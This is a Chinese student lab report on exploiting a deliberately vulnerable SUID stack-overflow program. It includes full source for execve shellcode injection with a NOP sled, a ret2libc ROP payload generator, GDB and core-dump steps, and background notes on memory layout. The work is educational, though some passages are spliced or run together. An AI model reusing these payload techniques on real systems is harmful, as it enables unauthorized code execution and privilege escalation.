为绕过栈内容被修改/破坏的问题(可能是由于栈不可执行的深层机制或某种运行时保护),采用 ROP 技术。ROP 不直接在栈上执行注入的代码,而是利用程序自身或其链接的库中已存在的代码片段(gadgets),通过精心构造栈上的一系列返回地址来串联这些 gadgets,最终调用目标函数(如 system()
)。
3.2.2. 确定 ROP Gadget 地址 (ASLR 关闭前提下)
- 目标函数:
system()
和exit()
(用于程序正常退出)。 - 目标字符串:
"/bin/sh"
。 - 定位 libc: 确定程序链接的 libc 库路径 (例如,通过
ldd ./stack
,得到/usr/lib/i386-linux-gnu/libc.so.6
)。 - 在 GDB 中获取地址:
- 加载
./stack
到 GDB。 - 设置断点 (如
main
) 并运行。 p system
->0xf7e08780
(示例地址)p exit
->0xf7dfb0c0
(示例地址)find &system,+9999999,"/bin/sh"
->0xf7f55363
(示例地址)
- 加载
3.2.3. 编写 ROP 利用程序 (exploit_rop.c
)
- Payload 结构 (简单 ROP 链):
[ Padding ('A'*24) ]
[ ADDR_SYSTEM (system函数地址) ]
[ ADDR_EXIT (exit函数地址, 作为system的返回地址) ]
[ ADDR_BIN_SH (指向"/bin/sh"字符串的地址, 作为system的参数) ]
[ Optional Padding/Data (根据需要) ]
- 地址硬编码: 将上一步获取的
system
,exit
,"/bin/sh"
地址硬编码到exploit_rop.c
。- 注意,这些地址是在 ASLR 关闭且特定 libc 版本下的值。
3.2.4. 执行 ROP 攻击并获取 Shell
- 编译
exploit_rop.c
生成badfile_rop
。 - 运行
./stack < badfile_rop
(或通过文件重定向)。 - 结果: 成功执行 ROP 链,获得了 `sh-5.0# 栈溢出漏洞利用与分析实验报告
3.3. 第三阶段:ROP 权限问题分析
3.3.1. 权限验证
在通过 ROP 获取的 shell 中执行:
whoami
-> 输出jerry
(普通用户)id
-> 输出uid=1000(jerry) gid=1000(jerry) euid=1000(jerry) groups=...
3.3.2. 原因分析:SUID 程序与 system()
调用
尽管 ./stack
程序具有 SUID root 权限,但通过 ROP 调用 system("/bin/sh")
后获得的 shell 并没有继承 root 权限。
- 主要原因: 现代 Linux 系统中,
system()
函数的实现(在 glibc 中)或/bin/bash
(作为/bin/sh
的实际执行者) 出于安全考虑,在由 SUID 程序调用时,通常会主动放弃提升的权限 (effective UID 会被重置为 real UID)。这是为了防止 SUID 程序滥用system()
执行任意命令时权限被意外保留。
4. 实验结论
- 栈溢出利用验证: 成功通过 GDB 分析精确计算了栈溢出所需的偏移量,理解了栈帧结构和返回地址覆盖的基本原理。
- Shellcode 注入的挑战: 实验揭示了在现代系统(即使禁用了部分保护)下,直接栈 Shellcode 注入可能因 GDB/独立运行环境差异及更深层次的运行时栈修改/破坏机制而失败。
- Core Dump 的关键作用: 细致的 Core Dump 分析是定位独立运行时地址、理解程序崩溃状态和揭示 Shellcode 注入失败深层原因(栈上 payload 字节被意外修改为返回地址本身)的决定性手段。
- ROP 的有效性: ROP 技术成功绕过了栈内容修改/破坏的障碍,通过调用 libc 中的
system
函数控制了程序执行流,证明了其在对抗特定执行限制时的强大能力。 - SUID 权限限制: 验证了在目标 Ubuntu 20.04 环境下,即使 SUID root 程序通过 ROP 调用
system()
,由于system()
或bash
自身的安全特性,也无法直接通过此方法维持 root 权限。 - 调试技能提升: 整个实验过程充分锻炼了问题分析、调试工具(GDB, Core Dump)、环境配置(ASLR, SUID Core Dump)以及对底层操作系统和C库行为的理解能力。
5. 遇到的主要问题与解决方法
- 问题: GDB 调试环境与独立运行环境栈地址不一致。
- 解决: 引入
adjustment
参数进行暴力破解和猜测,最终通过 Core Dump 分析精确确定了独立运行时的buffer
地址 (0xffffcf90
) 及对应的adjustment = 76
。
- 解决: 引入
- 问题: SUID 程序默认不生成或无法访问 Core Dump 文件。
- 解决:
- 停止
apport
服务。 - 设置
sudo sysctl -w fs.suid_dumpable=2
。 - 关键:设置
sudo sysctl -w kernel.core_pattern=/tmp/cores/core.%e.%p
(使用绝对路径)。 - 使用
sudo gdb
读取由 root 用户拥有的 core 文件。
- 停止
- 解决:
- 问题: Shellcode 注入后持续出现 “非法指令” 或 “段错误”,即使 EIP 看似已指向 payload。
- 解决: 通过增加 NOP Sled 长度、使用极简 Shellcode (
\xeb\xfe
) 逐步排除干扰。最终通过 Core Dump 分析,确定为运行时栈上 NOP Sled 的起始字节被修改成了构成返回地址本身的字节序列。
- 解决: 通过增加 NOP Sled 长度、使用极简 Shellcode (
- 问题: 通过 ROP 调用
system()
获取的 Shell 未能保持 root 权限。- 解决/分析: 通过
id
命令确认 EUID 未保持。分析原因为system()
函数或/bin/bash
在 SUID 环境下的安全机制,主动降权。
- 解决/分析: 通过
6. 总结与进一步探索方向
本次实验成功复现了栈溢出漏洞的利用,并深入探究了 Shellcode 注入失败的原因和 ROP 攻击的实践。核心收获在于理解了调试工具的组合使用、环境差异对漏洞利用的影响,以及现代系统针对此类攻击的潜在缓解机制。
实验的学术价值
本实验的"失败"实际上有极高的教育和研究价值:
-
揭示了隐藏的安全层:
- 发现了一种可能未被广泛记录的防御机制
- 展示了即使"关闭"已知保护,系统仍可能有其他防御
-
解释了为什么某些简单漏洞在现代系统中难以利用:
- 揭示了为什么即使禁用NX位,栈执行仍然可能失败
- 展示了现代系统如何实现多层次、深度防御
-
强调了适应性策略的重要性:
- 当一种攻击方法失败时,转向其他技术(如ROP)
- 在安全研究中,失败往往与成功一样有价值
进一步探索方向
-
构建
execve
ROP 链: 尝试设计并实现直接调用execve
系统调用的 ROP 链(可能需要寻找int 0x80
或syscall
gadget,并控制寄存器),以期直接获取 root shell,绕过system()
的权限问题。 -
探索
mprotect
ROP 链: 尝试使用 ROP 调用mprotect
将栈区域标记为可执行,然后跳转回之前注入的(但无法执行的)Shellcode,以验证栈内容修改是否是阻止执行的唯一或主要障碍。 -
深入调查栈内容修改机制: 若条件允许,使用更高级的动态分析工具(如二进制插桩框架 Pin, Valgrind 的某些工具)或内核调试手段,尝试探究在独立运行时栈上 payload 内容被修改的具体时机和原因。
-
跨环境对比实验: 在已知保护措施较少的旧版 Linux 系统或特定编译环境下重复实验,对比 Shellcode 注入的成功率和行为差异。
-
研究特定防御机制的文档: 尝试查找相关的源代码(如libc、Linux内核)或安全公告,寻找关于此类"隐式"安全机制的更多信息,以确认观察到的行为是否是某种有意设计的保护措施。
7. 实验代码附录
7.1. 漏洞程序 (stack.c
)
/* stack.c */
/* This program has a buffer overflow vulnerability. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12]; // Buffer of 12 bytes/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517]; // Large enough to hold typical exploit payloadsFILE *badfile;// Change the size of the dummy array to randomize the parameters// for this lab. Need to use the GDB to find out the new offset.char dummy[100]; memset(dummy, 0, 100); // Added for variability, actual size not critical for the bof itselfbadfile = fopen("badfile", "r");if (!badfile) {perror("Opening badfile");exit(1);}// Ensure str is null-terminated before reading, to avoid issues if badfile is too shortmemset(str, 0, sizeof(str));// Read up to 516 bytes to leave space for null terminator, though fread doesn't add onefread(str, sizeof(char), 516, badfile);// Explicitly null-terminate, as fread doesn't guarantee it.// This is good practice, though for this specific exploit, strcpy's behavior with non-null-terminated// input (if badfile contains no nulls in first 516 bytes) is the core of the overflow.str[sizeof(str) - 1] = '\0';bof(str);printf("Returned Properly\n");fclose(badfile);return 1;
}
说明:
stack.c
包含一个有缓冲区溢出漏洞的 bof
函数。strcpy
将用户提供的输入(来自 badfile
)复制到只有12字节的 buffer
中,没有进行长度检查,从而导致溢出。main
函数从名为 badfile
的文件中读取数据并传递给 bof
函数。
7.2. Shellcode 注入利用程序 (exploit.c
)
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>// Standard execve("/bin/sh") shellcode (25 bytes)
char shellcode[] ="\x31\xc0" // xorl %eax,%eax"\x50" // pushl %eax"\x68""//sh" // pushl $0x68732f2f"\x68""/bin" // pushl $0x6e69622f"\x89\xe3" // movl %esp,%ebx"\x50" // pushl %eax"\x53" // pushl %ebx"\x89\xe1" // movl %esp,%ecx"\x99" // cdq"\xb0\x0b" // movb $0x0b,%al"\xcd\x80" // int $0x80
;// Minimal shellcode for testing EIP control: \xeb\xfe (jmp $)
// char shellcode[] = "\xeb\xfe";int main(int argc, char **argv)
{char buffer[517]; // Must be large enough to hold the entire payloadFILE *badfile;int i;long ret_addr_value;int offset_to_eip = 24; // Determined via GDB: (Saved EIP addr - buffer start addr) in bof// For stack.c buffer[12], usually 12 (buffer) + 4 (saved ebp for bof) + 4 (saved eip for bof's caller in main) + 4 (saved ebp for main) = 24 for ret addr in main.// Actually, it's 12 (buffer) + X (padding/alignment by compiler) + 4 (saved ebp) + 4 (ret addr for bof).// Given GDB analysis result of 24 bytes to overwrite return address.int adjustment = 0; // Default adjustmentif (argc > 1) {adjustment = atoi(argv[1]); // Allow adjustment via command line argument}// Based on GDB observation of bof's buffer start address:// In GDB: 0xffffcf44 (example, this varies)// Standalone run, after many trials and core dump analysis, buffer start was 0xffffcf90.// So adjustment = 0xffffcf90 - 0xffffcf44 = 76 (decimal).// unsigned long gdb_observed_bof_buffer_addr = 0xffffcf44; // Example from GDB sessionunsigned long standalone_assumed_buffer_addr = 0xffffcf90; // Determined via core dump analysis// The return address should point to the NOP sled, which is after the return address itself// ret_addr_value = gdb_observed_bof_buffer_addr + adjustment + offset_to_eip + 4;ret_addr_value = standalone_assumed_buffer_addr + offset_to_eip + 4; // Target address for EIP/* Initialize buffer with 0x90 (NOP instruction) */// We will fill the beginning with 'A's, then the return address, then NOPs, then shellcode.memset(&buffer, 0x90, 517);// Fill the padding before the return address (offset_to_eip bytes)// For this payload structure, we use 'A's for clarity during debugging.// The NOPs after the return address will overwrite these if the payload is constructed// by first memset to NOP then selectively overwrite.// A cleaner way is to build piece by piece:memset(buffer, 'A', offset_to_eip);// Place the new return address (pointing to NOP sled)*(long *)(buffer + offset_to_eip) = ret_addr_value;// Place the NOP sled after the return address.// Let's say 400 NOPs for a large landing zone.int nop_sled_len = 400;// Start NOPs right after the 4-byte return address we just wrotememset(buffer + offset_to_eip + 4, 0x90, nop_sled_len);// Place the shellcode after the NOP sled// Ensure there's enough space: offset_to_eip + 4 + nop_sled_len + sizeof(shellcode) <= 517long shellcode_start_offset = offset_to_eip + 4 + nop_sled_len;memcpy(buffer + shellcode_start_offset, shellcode, sizeof(shellcode)-1); // -1 to exclude null terminator if present// Null-terminate the buffer to be safe, though not strictly necessary if fread reads exactly this much// buffer[516] = '\0'; // Not needed as we are writing a binary file of fixed effective length/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");if (!badfile) {perror("Opening badfile for writing");exit(1);}// Write the effective payload length.// For shellcode injection, the critical part is up to the end of shellcode.// The `stack` program reads up to 516 bytes.fwrite(buffer, sizeof(char), offset_to_eip + 4 + nop_sled_len + sizeof(shellcode) -1, badfile);// fwrite(buffer, 517, 1, badfile); // Or write the whole buffer if easierfclose(badfile);printf("badfile created with adjustment %d, new EIP target 0x%lx\n", adjustment, ret_addr_value);return 0;
}
说明:
exploit.c
用于生成 badfile
文件。
- 它定义了一个标准的
execve("/bin/sh")
shellcode。 offset_to_eip
(24字节) 是从bof
函数中buffer
的起始位置到其返回地址的距离。adjustment
参数用于补偿 GDB 环境和独立运行环境之间的栈地址差异。最终通过 Core Dump 分析确定独立运行时buffer
地址为0xffffcf90
。- Payload 结构:
[ 'A' * offset_to_eip ] [ New_EIP ] [ NOP_SLED ] [ SHELLCODE ]
。'A' * offset_to_eip
: 填充物,覆盖到保存的 EBP。New_EIP
: 覆盖原返回地址,指向 NOP Sled 的起始。计算为standalone_assumed_buffer_addr + offset_to_eip + 4
。NOP_SLED
: 大量 NOP 指令 (0x90
),增加 EIP 落点的容错性。SHELLCODE
: 实际要执行的恶意代码。
- 程序将构造好的 payload 写入
badfile
。
7.3. ROP 利用程序 (exploit_rop.c
)
/* exploit_rop.c */
/* A program that creates a file for ROP attack */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int main(int argc, char **argv)
{char buffer[517];FILE *badfile;int offset_to_eip = 24; // From GDB analysis for stack.c// Addresses found in GDB (ASLR disabled) for the target libc// These are examples and WILL VARY based on system and libc version.// For the experiment, these were:unsigned long addr_system = 0xf7e08780; // Address of system()unsigned long addr_exit = 0xf7dfb0c0; // Address of exit()unsigned long addr_bin_sh = 0xf7f55363; // Address of "/bin/sh" string in libc// Initialize buffermemset(&buffer, 0x90, 517); // Fill with NOPs initially, then overwrite specific parts// 1. Fill padding up to the return addressmemset(buffer, 'A', offset_to_eip);// 2. Overwrite return address with address of system()*(long *)(buffer + offset_to_eip) = addr_system;// 3. Place address of exit() as the "return address" for system()*(long *)(buffer + offset_to_eip + 4) = addr_exit;// 4. Place address of "/bin/sh" string as the first argument to system()*(long *)(buffer + offset_to_eip + 8) = addr_bin_sh;// The payload structure on the stack after `ret` from `bof` will be:// ESP --> ADDR_SYSTEM (this will be popped into EIP by `ret`)// ESP+4 -> ADDR_EXIT (this will be the "return address" for system)// ESP+8 -> ADDR_BIN_SH (this will be the first argument to system)/* Save the ROP chain to "badfile" */badfile = fopen("./badfile", "w");if (!badfile) {perror("Opening badfile for writing");exit(1);}// Write enough of the buffer to include the ROP chainfwrite(buffer, sizeof(char), offset_to_eip + 12, badfile); // A*24 + system_addr + exit_addr + bin_sh_addrfclose(badfile);printf("ROP badfile created.\n");printf("Targeting EIP with system() at 0x%lx\n", addr_system);printf("Argument \"/bin/sh\" at 0x%lx\n", addr_bin_sh);printf("Return for system() to exit() at 0x%lx\n", addr_exit);return 0;
}
说明:
exploit_rop.c
用于生成 ROP 攻击所需的 badfile
。
offset_to_eip
同样为 24 字节。- 硬编码了从
libc
中获取的system()
函数地址、exit()
函数地址以及"/bin/sh"
字符串的地址。这些地址在禁用 ASLR 的情况下是固定的(针对特定 libc 版本)。 - ROP Payload 结构:
[ 'A' * offset_to_eip ] [ ADDR_SYSTEM ] [ ADDR_EXIT ] [ ADDR_BIN_SH ]
'A' * offset_to_eip
: 填充物。ADDR_SYSTEM
: 覆盖原返回地址,当bof
函数ret
时,EIP 会跳转到system
。ADDR_EXIT
: 作为system
函数的返回地址。当system("/bin/sh")
执行完毕后,会返回到exit
,使程序正常退出。ADDR_BIN_SH
:作为system
函数的第一个参数(即system
函数栈帧中char* command
参数的值)。
- 程序将构造好的 ROP 链写入
badfile
。
前置知识
阶段一:程序执行与内存布局
- 编译、链接与可执行文件格式:
- 源代码 -> 预处理 -> 编译 -> 汇编 -> 链接 -> 可执行文件。
- ELF (Executable and Linkable Format) 文件格式简介 (知道有代码段、数据段等即可)。
- 进程内存布局 (32位Linux典型布局):
- 栈 (Stack):
- 向下增长 (高地址 -> 低地址)。
- 存储局部变量、函数参数、返回地址、保存的寄存器。
- 后进先出 (LIFO)。
- 堆 (Heap):
- 向上增长 (低地址 -> 高地址)。
- 动态分配的内存 (如
malloc
)。
- BSS 段: 未初始化的全局变量和静态变量。
- 数据段 (Data Segment): 已初始化的全局变量和静态变量。
- 代码段 (Text Segment): 程序指令,只读。
- 共享库区域: 加载的动态链接库 (如 libc)。
- 栈 (Stack):
- 栈帧 (Stack Frame):
- 函数调用时在栈上创建的区域。
- 包含:
- 函数参数。
- 返回地址 (调用者函数中
call
指令的下一条指令地址)。 - 保存的旧帧指针 (EBP/RBP)。
- 局部变量。
- EBP (Base Pointer) / RBP (Frame Pointer): 指向当前栈帧的底部 (或某个固定点)。
- ESP (Stack Pointer) / RSP (Stack Pointer): 指向当前栈帧的顶部。
- 汇编语言基础 (x86 32位 - AT&T 语法):
- 寄存器:
- 通用寄存器: EAX, EBX, ECX, EDX (数据操作)。
- 指针寄存器: ESP (栈顶指针), EBP (栈底指针), EIP (指令指针)。
- 段寄存器 (了解即可)。
- 常见指令:
- 数据传送:
mov
。 - 算术运算:
add
,sub
。 - 栈操作:
push
,pop
。 - 函数调用与返回:
call
,ret
,leave
(mov %ebp, %esp; pop %ebp
)。 - 跳转:
jmp
(无条件),jz
,jnz
(条件跳转)。 - 比较:
cmp
。
- 数据传送:
- 寻址方式: 立即数、寄存器寻址、直接寻址、间接寻址。
- 理解函数调用约定 (cdecl): 参数如何传递 (通常通过栈,从右到左压栈),返回值如何传递 (通常通过 EAX)。
- 寄存器:
量超过了缓冲区的容量,多余的数据就会覆盖相邻内存区域的内容。
- 栈溢出 (Stack-based Buffer Overflow): 特指发生在栈上的缓冲区溢出。
- 原因: 通常由于不安全的函数 (如
strcpy
,gets
,sprintf
未正确检查长度) 或错误的长度计算。
- 控制程序执行流:
- 覆盖返回地址: 栈溢出的核心目标。如果能精确计算偏移量,用恶意地址覆盖保存在栈上的函数返回地址,当函数执行
ret
指令时,EIP 就会被设置为这个恶意地址,程序将从该地址开始执行。
- 覆盖返回地址: 栈溢出的核心目标。如果能精确计算偏移量,用恶意地址覆盖保存在栈上的函数返回地址,当函数执行
- Shellcode:
- 一小段机器码,其目的是在目标系统上执行特定操作,通常是获取一个 shell (命令行界面)。
- 编写/获取 Shellcode (实验中直接提供,但理解其功能是
execve("/bin/sh")
)。 - Shellcode 的特点:位置无关性 (通常),避免空字节 (
\x00
)。
- NOP Sled (No-Operation Sled):
- 一长串 NOP (
\x90
指令,CPU 执行它时不做任何事,直接跳到下一条指令)。 - 作用:在 Shellcode 前放置 NOP Sled,当返回地址被覆盖为指向 NOP Sled 中的任意位置时,CPU 会一路执行 NOP 指令滑到 Shellcode 并开始执行。增加了利用的容错性,不需要精确命中 Shellcode 的起始地址。
- 一长串 NOP (